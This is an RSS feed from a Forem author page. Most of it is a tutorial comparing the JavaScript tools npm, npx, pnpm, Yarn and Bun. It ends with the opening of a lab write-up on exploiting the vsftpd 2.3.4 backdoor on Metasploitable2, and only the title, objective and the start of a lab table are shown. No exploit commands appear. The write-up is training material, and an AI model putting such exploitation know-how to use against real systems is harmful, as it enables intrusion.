<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Soumya Ranjan 🎖️</title>
    <description>The latest articles on Forem by Soumya Ranjan 🎖️ (@srsoumyax11).</description>
    <link>https://forem.com/srsoumyax11</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1962149%2Fa1c602b5-e2ae-47ee-9798-5c7e7df7abd0.jpg</url>
      <title>Forem: Soumya Ranjan 🎖️</title>
      <link>https://forem.com/srsoumyax11</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/srsoumyax11"/>
    <language>en</language>
    <item>
      <title>Modern JavaScript Tooling Explained: npm, npx, pnpm, Yarn &amp; Bun</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Tue, 05 May 2026 15:09:40 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/modern-javascript-tooling-explained-npm-npx-pnpm-yarn-bun-4mm2</link>
      <guid>https://forem.com/srsoumyax11/modern-javascript-tooling-explained-npm-npx-pnpm-yarn-bun-4mm2</guid>
      <description>&lt;h2&gt;
  
  
  🧠 Introduction (Context Setting)
&lt;/h2&gt;

&lt;p&gt;Modern JavaScript development is no longer just about writing code—it’s about managing an ecosystem of dependencies, tools, and workflows. At the center of this ecosystem are package managers like npm, Yarn, and pnpm, along with newer entrants like Bun.&lt;/p&gt;

&lt;p&gt;These tools define how you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install libraries&lt;/li&gt;
&lt;li&gt;Manage dependencies&lt;/li&gt;
&lt;li&gt;Execute scripts&lt;/li&gt;
&lt;li&gt;Optimize performance and disk usage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As the ecosystem evolved, so did the tooling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm&lt;/strong&gt; established the foundation as the default package manager for Node.js&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Yarn&lt;/strong&gt; introduced better performance and deterministic installs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;pnpm&lt;/strong&gt; optimized storage and dependency isolation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bun&lt;/strong&gt; reimagined the stack by combining runtime, package manager, and bundler into a single tool&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Amid all this, utilities like npx added another layer of abstraction—allowing developers to execute packages without installing them globally.&lt;/p&gt;

&lt;p&gt;This rapid evolution has created a common problem:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Developers often use these tools daily without fully understanding how they differ or when to use each one.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Does &lt;code&gt;npx&lt;/code&gt; always require internet?&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Is pnpm better than npm?&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Can Bun replace Node.js entirely?&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…are symptoms of a deeper gap in conceptual clarity.&lt;/p&gt;

&lt;p&gt;This guide aims to eliminate that confusion by building a &lt;strong&gt;strong mental model first&lt;/strong&gt;, before diving into tool-specific details.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚙️ Core Concepts (Foundation Layer)
&lt;/h2&gt;

&lt;p&gt;Before comparing tools, it’s essential to understand the underlying concepts they operate on.&lt;/p&gt;

&lt;h3&gt;
  
  
  📦 What is a Package Manager?
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;package manager&lt;/strong&gt; is a tool that automates the process of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installing dependencies&lt;/li&gt;
&lt;li&gt;Managing versions&lt;/li&gt;
&lt;li&gt;Resolving dependency trees&lt;/li&gt;
&lt;li&gt;Running project scripts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, when you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;express
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The package manager:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Fetches the package from a registry&lt;/li&gt;
&lt;li&gt;Resolves its dependencies&lt;/li&gt;
&lt;li&gt;Installs everything into your project&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A package manager is your project’s &lt;strong&gt;dependency control system&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  ⚡ What is a Runtime?
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;runtime&lt;/strong&gt; is the environment where your code actually executes.&lt;/p&gt;

&lt;p&gt;For JavaScript outside the browser, this is typically Node.js.&lt;/p&gt;

&lt;p&gt;It is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Executing JavaScript code&lt;/li&gt;
&lt;li&gt;Providing system-level APIs (file system, network, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Newer tools like Bun go a step further by combining:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runtime&lt;/li&gt;
&lt;li&gt;Package manager&lt;/li&gt;
&lt;li&gt;Bundler&lt;/li&gt;
&lt;li&gt;Test runner&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This reduces the need for multiple tools in a project.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔄 Install vs Execute
&lt;/h3&gt;

&lt;p&gt;This distinction is critical and often misunderstood.&lt;/p&gt;

&lt;h4&gt;
  
  
  Install (npm, pnpm, yarn)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;lodash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Downloads and stores the package&lt;/li&gt;
&lt;li&gt;Adds it to your project dependencies&lt;/li&gt;
&lt;li&gt;Makes it available for repeated use&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Execute (npx)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-react-app myapp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Runs a package &lt;strong&gt;without permanently installing it&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;May download it temporarily if not available locally&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 Key idea:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Install = persist dependency&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execute = use it once (or on demand)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  📁 Local vs Global vs Cached
&lt;/h3&gt;

&lt;p&gt;Understanding where packages live helps explain tool behavior.&lt;/p&gt;

&lt;h4&gt;
  
  
  Local Installation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;lodash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Stored inside &lt;code&gt;node_modules&lt;/code&gt; of your project&lt;/li&gt;
&lt;li&gt;Used only within that project&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Global Installation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; typescript
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Installed system-wide&lt;/li&gt;
&lt;li&gt;Accessible from anywhere&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Cached Execution (npx behavior)
&lt;/h4&gt;

&lt;p&gt;When you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx some-package
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The system follows this sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check local project → use if available&lt;/li&gt;
&lt;li&gt;Check global/cache → use if available&lt;/li&gt;
&lt;li&gt;Otherwise → download temporarily&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;👉 This explains why:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;First run may require internet&lt;/li&gt;
&lt;li&gt;Subsequent runs may not&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 Mental Model Summary
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Package managers&lt;/strong&gt; manage dependencies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runtimes&lt;/strong&gt; execute code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;npx-like tools&lt;/strong&gt; bridge execution without installation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage strategy (local/global/cache)&lt;/strong&gt; impacts performance and behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If this foundation is clear, the differences between npm, pnpm, Yarn, and Bun become much easier to reason about—which is exactly what we’ll explore next.&lt;/p&gt;

&lt;h2&gt;
  
  
  📦 Tool-by-Tool Deep Dive
&lt;/h2&gt;

&lt;p&gt;Now that the foundation is clear, we’ll analyze each tool individually—focusing on &lt;strong&gt;architecture, behavior, trade-offs, and real-world usage&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  4.1 npm
&lt;/h2&gt;

&lt;p&gt;npm&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 Overview
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;npm&lt;/code&gt; is the &lt;strong&gt;default package manager&lt;/strong&gt; bundled with Node.js. It is the most widely used tool in the JavaScript ecosystem and serves as the baseline for comparison.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚙️ How It Works (Architecture)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Installs packages into a local &lt;code&gt;node_modules&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Uses a &lt;strong&gt;flat dependency tree&lt;/strong&gt; (since npm v3+)&lt;/li&gt;
&lt;li&gt;Maintains a &lt;code&gt;package-lock.json&lt;/code&gt; for deterministic installs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧪 Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;express
npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Strengths
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Ubiquitous and well-supported&lt;/li&gt;
&lt;li&gt;No setup required (comes with Node.js)&lt;/li&gt;
&lt;li&gt;Massive ecosystem compatibility&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Limitations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Disk-heavy due to duplicated dependencies&lt;/li&gt;
&lt;li&gt;Historically slower installs (improved in newer versions)&lt;/li&gt;
&lt;li&gt;Dependency resolution can become complex in large projects&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎯 When to Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Small to medium projects&lt;/li&gt;
&lt;li&gt;Maximum compatibility required&lt;/li&gt;
&lt;li&gt;Teams that prefer &lt;strong&gt;zero additional tooling overhead&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4.2 npx
&lt;/h2&gt;

&lt;p&gt;npx&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 Overview
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;npx&lt;/code&gt; is not a package manager—it is a &lt;strong&gt;package executor&lt;/strong&gt; designed to run Node-based tools without requiring global installation.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚙️ Execution Model
&lt;/h3&gt;

&lt;p&gt;When you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-react-app myapp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It follows this sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check local &lt;code&gt;node_modules&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Check cached/global versions&lt;/li&gt;
&lt;li&gt;Download temporarily if needed&lt;/li&gt;
&lt;li&gt;Execute&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  🧠 Key Insight
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;npx&lt;/code&gt; optimizes &lt;strong&gt;tool usage&lt;/strong&gt;, not dependency management.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  ✅ Strengths
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;No need for global installs&lt;/li&gt;
&lt;li&gt;Always access latest version (if not cached)&lt;/li&gt;
&lt;li&gt;Cleaner system environment&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Limitations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;May require internet on first run&lt;/li&gt;
&lt;li&gt;Slight startup overhead compared to locally installed binaries&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎯 When to Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Running CLI tools (e.g., scaffolding apps)&lt;/li&gt;
&lt;li&gt;One-time commands&lt;/li&gt;
&lt;li&gt;Avoiding version conflicts globally&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ⚠️ Common Misunderstanding
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;“npx always runs the latest version”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not strictly true—it runs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Local → Cached → Latest (fallback)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4.3 pnpm
&lt;/h2&gt;

&lt;p&gt;pnpm&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 Overview
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;pnpm&lt;/code&gt; is a &lt;strong&gt;performance-focused package manager&lt;/strong&gt; designed to solve npm’s inefficiencies in disk usage and install speed.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚙️ How It Works (Unique Architecture)
&lt;/h3&gt;

&lt;p&gt;Instead of copying dependencies into every project:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Uses a &lt;strong&gt;global content-addressable store&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Creates &lt;strong&gt;hard links/symlinks&lt;/strong&gt; into projects&lt;/li&gt;
&lt;li&gt;Avoids duplication entirely&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧪 Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm &lt;span class="nb"&gt;install
&lt;/span&gt;pnpm add axios
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🚀 Key Advantages
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;⚡ Extremely fast installs&lt;/li&gt;
&lt;li&gt;💾 Minimal disk usage&lt;/li&gt;
&lt;li&gt;🔒 Strict dependency isolation (prevents “ghost dependencies”)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Trade-offs
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Slight learning curve&lt;/li&gt;
&lt;li&gt;Some older tools may assume npm-style structure&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎯 When to Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Large-scale applications&lt;/li&gt;
&lt;li&gt;Monorepos (Nx, Turborepo, etc.)&lt;/li&gt;
&lt;li&gt;Performance-critical environments&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 Why It Matters
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;pnpm&lt;/code&gt; enforces &lt;strong&gt;correct dependency boundaries&lt;/strong&gt;, which reduces bugs caused by accidental access to undeclared packages.&lt;/p&gt;

&lt;h2&gt;
  
  
  4.4 Yarn
&lt;/h2&gt;

&lt;p&gt;Yarn&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 Overview
&lt;/h3&gt;

&lt;p&gt;Developed by Facebook, Yarn was created to address npm’s early performance and reliability issues.&lt;/p&gt;

&lt;h3&gt;
  
  
  🧵 Versions Matter
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Yarn Classic (v1)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Similar to npm&lt;/li&gt;
&lt;li&gt;Uses &lt;code&gt;node_modules&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Yarn Berry (v2+)
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Introduces &lt;strong&gt;Plug’n’Play (PnP)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Eliminates &lt;code&gt;node_modules&lt;/code&gt; entirely&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ⚙️ Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;yarn add react
yarn dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🚀 Features
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Deterministic installs via &lt;code&gt;yarn.lock&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Workspaces support (monorepos)&lt;/li&gt;
&lt;li&gt;Plug’n’Play (advanced dependency resolution)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Trade-offs
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;PnP can break tools expecting &lt;code&gt;node_modules&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Slightly fragmented ecosystem (v1 vs v2+)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎯 When to Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Enterprise-grade applications&lt;/li&gt;
&lt;li&gt;Teams needing strict dependency control&lt;/li&gt;
&lt;li&gt;Monorepos with complex setups&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 Position Today
&lt;/h3&gt;

&lt;p&gt;While npm has caught up in performance, Yarn remains relevant for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Advanced workflows&lt;/li&gt;
&lt;li&gt;Plug’n’Play architecture&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4.5 Bun
&lt;/h2&gt;

&lt;p&gt;Bun&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 Overview
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Bun&lt;/code&gt; is not just a package manager—it is a &lt;strong&gt;full JavaScript runtime and toolkit&lt;/strong&gt; designed to replace multiple tools in the stack.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚙️ What Makes It Different
&lt;/h3&gt;

&lt;p&gt;Bun combines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Runtime (like Node.js)&lt;/li&gt;
&lt;li&gt;Package manager&lt;/li&gt;
&lt;li&gt;Bundler&lt;/li&gt;
&lt;li&gt;Test runner&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All in a single toolchain.&lt;/p&gt;

&lt;h3&gt;
  
  
  🧪 Example
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bun &lt;span class="nb"&gt;install
&lt;/span&gt;bun run dev
bun create vite
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ⚡ Performance Edge
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Written in &lt;strong&gt;Zig&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Extremely fast startup times&lt;/li&gt;
&lt;li&gt;Optimized dependency installation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🚀 Advantages
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Minimal toolchain complexity&lt;/li&gt;
&lt;li&gt;High performance&lt;/li&gt;
&lt;li&gt;Built-in modern features&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ❌ Limitations
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Still evolving ecosystem&lt;/li&gt;
&lt;li&gt;Some Node.js APIs may not be fully supported&lt;/li&gt;
&lt;li&gt;Compatibility edge cases&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🎯 When to Use
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;New projects&lt;/li&gt;
&lt;li&gt;Performance-critical applications&lt;/li&gt;
&lt;li&gt;Developers willing to adopt cutting-edge tools&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 Strategic Insight
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Bun is not just competing with npm—it’s competing with the entire Node.js tooling ecosystem.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  🔚 Transition to Next Section
&lt;/h2&gt;

&lt;p&gt;Now that each tool is clearly understood in isolation, the next step is to &lt;strong&gt;compare them directly across performance, architecture, and real-world usability&lt;/strong&gt;—so you can make informed decisions rather than relying on trends or assumptions.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚔️ Comparative Analysis (Quick Decision Table)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;npm&lt;/th&gt;
&lt;th&gt;pnpm&lt;/th&gt;
&lt;th&gt;Yarn&lt;/th&gt;
&lt;th&gt;Bun&lt;/th&gt;
&lt;th&gt;npx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Package Manager&lt;/td&gt;
&lt;td&gt;Package Manager&lt;/td&gt;
&lt;td&gt;Package Manager&lt;/td&gt;
&lt;td&gt;Runtime + Package Manager&lt;/td&gt;
&lt;td&gt;Package Executor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary Use&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Install &amp;amp; manage deps&lt;/td&gt;
&lt;td&gt;Fast + efficient installs&lt;/td&gt;
&lt;td&gt;Deterministic installs&lt;/td&gt;
&lt;td&gt;All-in-one JS toolchain&lt;/td&gt;
&lt;td&gt;Run packages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;⚡ Very Fast&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;🚀 Extremely Fast&lt;/td&gt;
&lt;td&gt;Depends (startup overhead)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Disk Usage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High (duplicates)&lt;/td&gt;
&lt;td&gt;Low (shared store)&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Minimal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;node_modules&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (optimized)&lt;/td&gt;
&lt;td&gt;Yes / ❌ (PnP mode)&lt;/td&gt;
&lt;td&gt;❌ (internal handling)&lt;/td&gt;
&lt;td&gt;Not applicable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lockfile&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;package-lock.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pnpm-lock.yaml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;yarn.lock&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bun.lockb&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Offline Support&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;Cached only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Monorepo Support&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Excellent&lt;/td&gt;
&lt;td&gt;Excellent&lt;/td&gt;
&lt;td&gt;Good&lt;/td&gt;
&lt;td&gt;Not applicable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dependency Strictness&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Strict&lt;/td&gt;
&lt;td&gt;Strict (PnP)&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Not applicable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Runtime Included&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ecosystem Compatibility&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Learning Curve&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>javascript</category>
      <category>node</category>
      <category>npm</category>
      <category>tooling</category>
    </item>
    <item>
      <title>Metasploitable2 - FTP Exploitation using vsftpd 2.3.4 Backdoor</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Tue, 05 May 2026 15:08:25 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/metasploitable2-ftp-exploitation-using-vsftpd-234-backdoor-2910</link>
      <guid>https://forem.com/srsoumyax11/metasploitable2-ftp-exploitation-using-vsftpd-234-backdoor-2910</guid>
      <description>&lt;h2&gt;
  
  
  Metasploitable2 - FTP Exploitation using vsftpd 2.3.4 Backdoor
&lt;/h2&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;1. Objective&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To identify and exploit a known vulnerability in an FTP service running on a vulnerable target machine using industry-standard reconnaissance and exploitation techniques.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;2. Lab Environment&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Attacker Machine&lt;/td&gt;
